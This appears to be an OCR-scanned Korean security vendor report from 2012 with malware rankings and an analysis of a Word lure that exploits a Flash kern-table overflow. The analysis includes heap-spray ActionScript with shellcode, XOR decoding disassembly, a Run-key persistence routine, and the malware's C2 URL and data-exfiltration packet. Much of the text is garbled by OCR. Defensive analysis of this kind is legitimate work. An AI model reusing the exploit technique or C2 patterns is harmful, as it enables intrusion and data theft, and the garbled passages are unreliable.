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[2012H 9& 1Y ~ 2012 9& 30Y]

o)

=9 ofd3aL TEHE 7te 2| (Q;xﬁ)
1 t1  Spyware.OnlineGames.wsxp Spyware 7,444
2 New  Gen:Variant.Graftor.25162 Etc 5,950
3 New  Variant. Adware.Graftor.36824 Adware 4,992
4 New  Trojan.Generic.7542889 Trojan 3,589
5 New  Trojan.Rootkit.LoaderA Trojan 3,337
6 New  Trojan.Heur.P@J4@fyt8kHbi Trojan 2,531
7 New  Trojan.Generic.KD.620220 Trojan 2,353
8 New  Gen:Trojan.Heur.DPNK1@aatT!MoO Trojan 1,950
9 New  Trojan.KillAV.AB Trojan 1,909
10 New  Trojan.Generic.KD.605546 Trojan 1,868
11 New  Adware.Addendum.A Adware 1,844
12 New  Gen:Trojan.Heur.GZ.BKX@bW8HpgdO Trojan 1,527
13 New  Trojan.Generic.7499414 Trojan 1,475
14 New  Trojan.Generic.7451935 Trojan 1,431
15 New  Worm.Conficker Worm 1,307
X KN =8, A0E ABRe| 4ESAE itsty st =9 Y

g8 493AE Top 15 AFEAL PCOIM EX|E HFIAES 7|Eez MEst SAYUCH
.|

9gol ZY AFIRE TOP 150M= 8F &Y AFIAE Top 1504 292 LHARE =22tlA Y
AZEx AGRETH SHETOl CHAl 19 A2l2 SFStSULCE XSO 1918 XXIRUE
= OFo Af2hR=H, Ol OHEO2l YHolE
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(Trojan)
oh=sof 50%
(Adware)
16%

m 7|E} (Etc)

B & O] (Backdoor)

B H}O|2{A (Virus)
&HO| XA (Hijacker)

mSAEMY (Host)
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Part I 9Eo| ¥HIAE EA

2. 2MHIALE Ol M - “CVE-2012-1535 Adobe Flash Player | 28"
(1) 712

iPhone 5 EA| Z2 T2 ZHALS 0|8% Atz 3% 7|8z oy

AUCH HY= FEE 0| 42 “iPhone 5 Battery” 2 &

o
of BHS JFUUL LSS BEA HHS REUCL

ro
B
r=
3 R
N
Il
=
>
o
mn

FjElmne S Battery Images Leak: Only Slighter Larger Than
iPhone 4S Battery, Despite Expected LTE-

In the blogosphere’s continuing quest to assemble a virtual iPhone 3 before Apple unveils
areal onein September, Sto>Mac has published images of what appears to be thenext
iPhone’s batterv. Juicv stuffls

As expected, the batterv is a bit larger than the last iPhone, but not bv much. It jumps
from 1430mAh in theiPhone 45 (up from 1420mAh in the iPhone 4)toa 1440 mAh
batterv. With the expected inclusion of LTE. plus Apple’s tum-bwv-tum mapping ("which
is a huge batterv drain, at least in i0S 6 beta), we must simplv hope that Apple’s dual-
core SoC will use this relativelv limited power source efficiently .+

According to the label on the batterv pack, it was created in June of this vear, which is
right in line with Apple’s iPhone 3 timing +

So what else can we expect in Apple’s next-gen iPhone? For one, a larger 4-inch displav
at a resolution of 1,136 x 640, along with a new two-tone back panel. You'll also see a
much smaller connector dock along the bottom, as Apple is allegedlv replacing the wom
out 30-pin dock Apple’s used for so long in its iThings with a 19-pin mini dock.«

Of course, 105 6 will ship with the device.+

<iPhone 5 & & ZA>

S F U™ "Adobe Flash Player CVE-2012-1535 Remote Code Execution Vulnerability”
©Z "Adobe Flash Player 11.3.300.270" & ZXZ%tst 0|5l H{TM™O|A S2F SHCE M 2o=
"Word(doc)” ItYS ME st QU0 “doc” DY LHFEO| "SWF HEfS| AHYIAEE 7t
X Qo o] REYH SESHH CHE APUS ChR2E ot A Al7|l= 52| dRIE

o 4 9l

Ho|x| | 6



Offsetth) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF

000035EQ0 F9 01 00 00 FA O1 00 00 FBE O1 00 OO0 FC 01 00 0O 1...d...0...0...
000035F0 FD 01 00 OO FE O1 00 00 FF 01 00 00 00 02 00 00 F...B. .. %.eunenn

o0o0os 600 57 EUfU". FUs. -0
oooosel0 Y8 00 O DO OO OO 17 70 OO0 OO0 1E 01 00 44 11 19 x=..D...p..... D..
Qooo36z0 00 00 OO 7F 13 CB O1 00 OO 3C 72 64 66 34 52 44 ..... E...<rdf:R

aooo03630 46 20 75 6D 6C 6E 73 3A 72 64 66 3D 27 68 74 74 F xmlns:irdf='htt
Q0003640 7O 3L ERF ZF 7?7 O?7 O7?Y ZE 7?7 33 ZE 6F 72 67 ZF 31 pifSwww.wd.orgdl
00003650 39 39 39 ZF 30 32 2ZF 32 32 2D 72 64 66 2D 73 79 999/0Z/Z2Z-rdf-sv
00003660 EE 74 61 78 ZD 6E 73 23 27 3E 3C 72 64 66 34 44 ntax-nsf'><rdf:D
oooozey0 65 73 63 V2 69 V0 T4 69 6F 6E Z0 V2 64 66 3A 61 escription rdf:a
oooozes0 62 6F 75 V4 3D 2T 27 20 Y8 6D 6C GE Y3 3R 64 63 hout='' xmlns:de
00003690 3D 27 68 74 74 70 3A ZF ZF 70 75 72 6C ZE EF 72 ='http://purl.or
Qo003 6A0 57 2F 64 63 ZF 65 AC A5 6D 65 B6E 74 73 ZF 31 ZE gidoifelementsS1.
oo00036B0 31 27 3E 3C 64 63 3h 66 6F 72 6D 61 74 3E 61 70 1'=<de:format>ap
Qo0o36C0 7O BC B9 A3 A1 74 /9 AF BE ZF 73 ZD 73 68 6F 63 plicationS/x-shoo
Qooo3eDd BB 77 61 76 65 ED A6 AC A1 73 63 3C ZF 64 63 3L kwave-flash< de:
ONONSAFO AR AF 72 AT A1 74 SF 3¢ A4 /3 30 74 A9 74 AC A5 forwmarwsde-rirle

<DOC L§=of =8t = SWF>

@ 2 ntY(doc LY O] swf)

9lc mYe XOR E §O| YE MY, "WORDLtmp'SC| mYI} oA SWFS Ze 3j1
Aenf oA =gk E SWFOIM FfFO| ZASCL siE F A2 YHCIE & TTF Font
£ 20 S0l I 3 "Apple Format’ Kern Table2| SubTableg 2| sh= IHg Fof
A sict

COffset(h) 00 01 0OZ O3 04 05 06 OV OS5 02 04 OB OC OD OE OF

00008550 33 03 A7 00 1D 02 35 00 32 02 10 00 32 02 10 00
0000S560 32 00 8D 00 26 00 00 00 00 00 OO0 00 00 00
ooooss?o EEJL0 00 00 OOf1E OC FF ES 30 00 00 OB OD DA OO

Qooosss0 03 00 i 00 03 00 ZB FF 81 00 03 00 35 00
oo0o0o0s520 14 00 03 00 79 FF OAZ 00 O3 00 YE FF A2 00 O3 00
ST e AT Lan P ] ™71 ] (] (mEal (] '_|Lr\\. ™71 Sl (] (mEal (] Lan s ] T Sl (]

<SWEF kern Table>

Cg|a = 222 kern tableQ| versionS LIEIL I @W7tMoZ M3 = EEE sub table
O 7W=E L}EIHCE Sub table 7j£=(nTable)7} 0x100000000|2t1 =l HAE = = JA=0|
version0| 0x10000(Apple Format) O]l nTableO| 0x10000000 O|&t & [ heap based

buffer overflow ZF| FFO0| 2t SiCH

g o|x| |7



BB3S167C gB7u2Y4 68 ESI, Read First Argument
BB351688 85F6 ESI ,ESI

BB351682 |, 74 13 SHORT BB351697

BB351684 FF76 BC [DWORD ESI+C]

BB351687 8BBG6 I:HRM[EST] EAX = ESI

BB351689 508 EAX EAX == Bx1EBDOOAO

BB35168A FF58 88 CALL BcBcBcec 7/ Crash
BB35168D 8B BG6 EAX,

BB35168F 56 ESI
BB351698 58 EAX
BB351691 FF58 88

BB351694 83C4 18 ESP,18

[DS:1EBDOBAB]=0BCBCOCAC

1EGDOBOG| BC OC BC BC(BC BC BC O6C|@GC OBC OC BC|BC 6Cc 20
1EGDOB16|90 96 90 20(90 98 E? 47|61 080 60 C2|8F 36 D8
1EGDOB28|DF 16 D5 BS5(F8 DE 78 DB| 65 89 E? 1B|28 BF 56

<Crash>

Sub Table o Jj+0tE H@a|E T stn 7

[l (0x100000000| &) nTable * kern descriptorsize

M stCh S}X|2H nTableQ| 7447t 2

=
SHAH E| ™ IntegerOverflow?7} MG

0x10000000 * 0x10(size) = 0x100000000 => Ox0

ableQ| size= 00| E|I1 OffsetE 2|8 sl=0 O|Uf ZHZE=l Pointer O

public function heapSpray() : woid

i
var _loc_l:uint;
_loc_1 = 0;
this.kbArray = new Bytedrray():
this.kbhrray.endian = Endian. LITTLE_ENDIAN:
war _loc_2:%;

wvar _loc_3:* = _loc_2 + "S090905050ES47010000CE5F36DEA0DF1eDSESFODEYSD00SE9ES1BZ8EFSEBEF7IEDES7165FFALIGE 52560054195 845D 91 3ESSE
war _loc_4:* = _loc_3;
war _loc_5:% = this.hexToBin(_loc_4):
war _loc_6:% = _loc_d4.length / 2:
loc_1 = 0;

while {_loc 1 < 1024)
{

this.kbArray.writeByte(12];
_loc 1 = _loc 1 + 1:

'

_loc_1 = 0;

<heap spray>

F| st AT A E|H heap spray®2 22{%l ShellCodeZ HO{7tA EICt
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@ Shellcode
Heap 0f 222{%l ShellCode= F7lQ| mYS MM
oz ofgmUo|H £ StLh= EHYeh ¢f= mbEo|t
XOR & HEf= =g [0 {ACt
FileName Path Size(Byte) OFFSET(docLj &)/ Size
~WORDL.tmp %TEMP% 90112 0x10CCO0 / 0x16000
iPhone 5.doc %TEMP% 21504 0x26CCO / 0x5400

Of

1 £xt A|ZICh SfLp= “WORDLtmp”
=

ot 25 “doc” It LSO

—_

G9BBF 4u4A FF55 kernel32?.ReadFile
G9BBF 44D 3309

G9BBF 4uF 8BBD 23810000 ] Size

B9BBF 455 8BBD 1FO18888 Read Buffer
B9BBFu45B 8BF7 ESI,EDI

B9BBF 45D B3 AC BL , BAC BL = BzAC
G9BBFu5F Ac [BYTE ESI] Load Byte

G9BBF 468 32063 AL ,BL XOR Byte,BxAC{BxAD,BxAE....)
B9BBF 462 34 28 AL ,28 XOR Byte, Bx28
B9BBF 464 Af [BYTE ES:EDI] Store Byte

B9BBF 465 FEC3 BL BL++

A9BBF 467 | SHORT B9BBFu4SF

G9BBF 46

B9EE1088
B9EE1818
B9EE1828
B9EE1838
B9EE1 048
B9EE1858

<XOR Code>

‘doc” Ol M 2{0{2 LH8E Byte tt2 OxAC 2H 14 SIt5t= 7152t X XOR ot =
Of 0x282b XOR ot0f CiA| XME zlCt. O|FA Lt = HE dd ott 2% S5 Al

iPhone 5.doc & CZ 22 WES 7HXER ALEA 50| 8¢ Tigz 20 & = %

ﬁE_lmne 3 Battery Images Leak: Only Slighter Larger Than
iPhone 4S Battery, Despite Expected LTE.
Inthe blogosphere’s continuing quest to assemble a virtual iPhone 3 before Apple unveils

areal one in September, 9toSMac has published images of what appears to be thenext
iPhone’s batterv. Juicy stuffle

As expected. the battery is a bit larger than the last iPhone, but not by much. It jumps
from 1430mAh in theiPhone 48 (up from 1420mAh in the iPhone 4)toa 1440 mAh
battery. With the expected inclusion of LTE, plus Apple’s tum-by-tum mapping (which
is a huge batterv drain. at least in i0S 6 beta). we must simply hope that Apple’s dual-
core SoC will use this relatively limited power source efficiently.«

According to the label on the battery pack, it was created in June of this vear, which is
right in line with Apple’s iPhone 3 timing .+

So what else can we expect in Apple’s next-gen iPhone? For one, a larger 4-inch displav
at a resolution of 1.136 x 640, along with a new two-tone back panel. You'll also see a
much smaller connector dock along the bottom. as Apple is allegedly replacing the wom
out 30-pin dock Apple’s used for so long in its iThings with a 19-pin mini dock+

Of course, {OS 6 will ship with the device.+

o

<iPhone 5.doc>
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ﬂiﬁ AlYac

® 24 IEHY(WORDL.tmp)
WORDL.tmp It PE A mao|Ct L{EO| ResourceZ taskmandll OtYS 7HX| 2

o o UG EEW}D SH AF|E qBE Bt

39

FileName Path Size
Taskman.dll C:WDocument~W[USER]WApplication Data 61440

‘Application Data” ZC{0f 9I9t ZS T2 MA 8|0 I AlZHe @ 3}

aaLe181F
Qoue181F loc_NO181F: ; CODE XREF: sub 4@ 7E@+34Tj
AB40181F B9 03 01 08 00 mow ecx, 1083h
oB4R1824 33 CA ®or eax, eax
MB4N1826 8D 70 24 SE lea edi, [esp+4sChevar N4OE]
BAL0182A 66 B9 SC 24 5C mou [espradCh+ConmandLine], bx
aaLB182F F3 B rep stosd
AALB1831 56 push esi
aaLa1832 52 push edx
00401833 8D MC 24 6N lea ecx, [esp+47hh+Commandline]
0aL01837 68 BC 52 40 0B push offset aRundll3d2_exess ; "rundll32.exe B'5sH”,start”
DALB183C 51 push eCX ; LPWSTR
BB4N1830 66 AB stosw
0RLM183F FF 15 @@ &1 40 60 call dszwsprintFy
OBLA184S BB AL 24 54 mou ecx, [esp+47Ch+Startuplnfo.dwFlags]
aaLe184% 83 Ch BC add esp, BCh
deLB184C 8D 54 2§ BC lea edx, [esp+ua7On+Processinformation]
BOL01850 8D A4u4 24 1C lea eax, [esp+a7@h+Startupinfo]
DaLB1854 52 push edx ; lpProcessIinformation
DALB1855 50 push eax ; lpStartupInfo
BRLA1856 53 push ebx ; lpturrentbDirectory
a8sM1857 &3 C? @1 or ecx, 1
aaLe185a 53 push ehx ; lpEnvironment
aaNA185E 53 push ehx H uw[:reatianFlags
BBLO185C 89 ML 24 S5C moy [esp*nsuh+startuplnFu duFlags], ecx
DaL01860 53 push ebx ; bInheritHandles
DaLp1861 53 push ebx ; lpThreadAttributes
DaLB1862 8D ALC 24 TC lea ecx, [espr48Ch+Comnmandline]
DRLA1BG66 53 push ebx ; lpProcessattributes
ARLB1BGT 51 push 1044 H 1p[:-:|manﬂLine
AauB186E 53 push ehx ; lpapplicationHame
BBLB186D CF M4 2N L4 44 80 08 B8 mow [esp+428h+5tartuplnfo.cbh], 44h
BRL01871 66 BD SC 24 74 moy [esp+uf8h+Startupinfo.wihovwiindow], bx
DBLB1876 FF 15 64 &B 4D 0D call ds:CreateProcessi
<taskman.dll AlsH>
A MBE IH0| DLL IHUO|2 2 rundli32.exe AL 0|23} SEF A|7|MH export = st~
Ol start gt+& S EOICL Z2MAE A dT O|20= At7| AtilE APM| AlZICH

g o|x| | 10



i} (taskman.dll)
Taskmandll T2 XAl A|HZ2OWo 2 SF5ID CHE SEniYS CHREE oo}

L] EAx
FF35 7apcasi1e [DUWORD 18868DC7A] Subkey=SoftwarefiicrosofttindowsCurrentVersiontRun
68 @1008688 sapaaAa hKey = HKEY_CURRENT_USER
FF15 g@Doaa1a [18860988] ADVAPI32 _RegOpenkeyn
8LCA EAX,EAX
. 752 SHORT 18882781
FF75 88 execute rundll3?.exe taskman.dll,start
EB 22648008 <JHP _E&MSUGRT .strlens

FF35 74DCAB10 DWORD 1888DC74]
FF75 FC

108082778 FF15 6CD208018 [1888D96C ] ADUAPI32 .RegSetValueExA
110AA7 781 o

<ARlmz s 55>

o =

Taskmandil TYS M X0 AHAlo| A AHE WABICE [Figure 812 ATJ} W7
2353 =2 IE AEQO| BHO|H A7 AFAIE “rundli32.exe” Bl= O|E9Q| A|&Z==2 8o
2 SE 3o

18082153

18082156 [18868D95C ] WINIHET .HttpSendRequestA
1808215C 3BF3 ESI,EBX

1888215E|, 74 67 SHORT 18882167

loginmid=700218E ENECLEFER LY BECCH08E

GBFEBFBFFB801086E “Content-Type:
S&nickid=B8&s=MTU

20WY52 jBiNzJmNDE

xDQoxX0TIuUMTY4L]I

XNC4xHMjgNCg==. .. RETURH to ntdll.7C942D

<Data M&>

ot

X ZAEEQ Volume HHE, Ip, hostname S& Base64Z QAL A ML st EH umt

2 [122C AlZsi)

ne

hxxp://publicnews.mooo.com/news.php?1221 Data M&
hxxp://publicnews.mooo.com/logo.gif CHRE2E AE IO

2M 8t0 Qe A™MOAME logogif THYL CHR2ZE X on UH 7] AlZt O
oY Ch22EE AE Azt

Zo|x| | 11



8l AlYac 1o} §i7H HOISE! KUY 10 S

FOST hitpipublicnews. mooo.comdnews. php?l 221 HTTRM.0
Accept Accept ™

Content-Type: applicationiewww-form-urlencoded
User-Agent: Mozillaid.0 (compatible; MSIE 6.0, Win32)

Host publicnews.mooo.com

Content-Length: 93

Fragma: no-cache

loginmid=700218EQ00FEBFBFFO001 0GES&nickid=0&s=MTU20WYSZ|BINZImMNDEXDQoxOTIUMTY4LjMNC SxMjgNCo==

<Data % Packet Capture>
Taskmandll TjdLe A|ZtZzJ2iocoz SEE g0 S S22
o

SHoz HAFHO oot 2 & 4gnte ot

Registry MEE 25 XN AHol|Of St}

3) 2&

AtzlE3Ed 7|8 E 0|89t FXE7t Ol YoiLt7| IfZ0| HYOILt HAM=2 2 mAS
2 d35Hid 5) 2o A& SHoF ottt o] dYIEE Y fE mYS 0| Drop dHA
HoiF7| WEo| F4 mz 20 57| gk Ol ZE2 I4oM o St e
Adobe Flash Player QIH|O|EQ} AFR3I= HHAIQ| QIHO|EE X|Alo2 QK| sfof i},

g o|x| | 12




BB AlYxc 1612 4 gis BRI QUof Y7t HOLSS) HIIA 10HE

[

Part I 8Eeo| HIAE EA
3. L /ER|E &M

(1) Are| Top 10 ZE

110 23
m 3306

W 1433
m21
W 3389
m110
m23
4899
m25
5900
m 8080

3389__ 3%
5%

(2) 42| Top5 ZE YH 0|
201214 072 ~ 20124 09L]

m20124 9¥
m20124 8¥
m20124 7€

3306 1433 1080 110 21

ESTsoft copyright © by ESTsoft Corp. Al rights reserved. Ho|x| | 13
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Wl AlYsc moi 4 Sis BRI oo} @7t HOHSE HIM 108S

Part I 9Eeo| 43 E EA

4. 2¥9 HY 24
AT O
— O

1) ¥E X HO[ZH A &4 ¥
70,000
60,000
50,000
40,000
30,000 m Hjol2|A
20,000 e
10,000
0
— o LN M~ (o)) i o LN ~ (e)] i o LN N~ (o)}
o o o o o TOToT T 7 g g g a
N N NNy R P
— — — — i (@] (@] N N N N @\ N N Q]
o o o o o — — — — — — — — — —
[Q\ N N [Q\] N o o o o o o o o o o
[@\] (@] N [@\] [@\] (@] N [@\] (@] N
2e A 8 oHolgA S oE deiZ= ofF0| fR&l= BiOo[2{A S A% Yo HE Lt
EtLf= di=Lct 98l Z% 8O Hloi HO|HqA7F ZotEl MY SAwXl= & 10% 7tE
UaBAB UL 2T AW Yol EA+KIS ZLE 8| ulsh 9¥ S o 25% Jhtol
g2t AL
(2) 28 &4 g
[2012H 048 ~ 2012 09€]
800,000
700,000 +——21%
600,000
500,000 41%
400,000 mHO| A
(o)
300,000 oo 8% 28% o w
200,000
95.2
100,000
0 T T T T T
4% 5% 62 74 82 9%

M ooHHHY F B AWKUM YIS HRHA 2 HIBS LIEffE
H Q A

= — %
|20 97.4%, HIO|HANEE 00| 26%2| HEZE A= Aoz

—
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"j'\ £ - SHE SI7L HOLEEE { N
gl ALYec oo} B7t HOKES} K TIA 0RS

(3) AW WY Wo| AYDE HY

[20124 9& 1Y ~ 2012 9& 30¢]

=42 ofg3ct ZFIEHE H & =~[7H] H| Z[%]
1 W32/Mytob-C 1,646 21.06%
2 W32/MyDoom-H 1,170 14.97%
3 Mal/ZipMal-B 693 8.87%
4 W32/MyDoom-N 477 6.10%
5 W32/Virut-T 402 5.14%
6 W32/MyDoom-BZ 240 3.07%
7 Troj/BredoZp-S 116 1.48%
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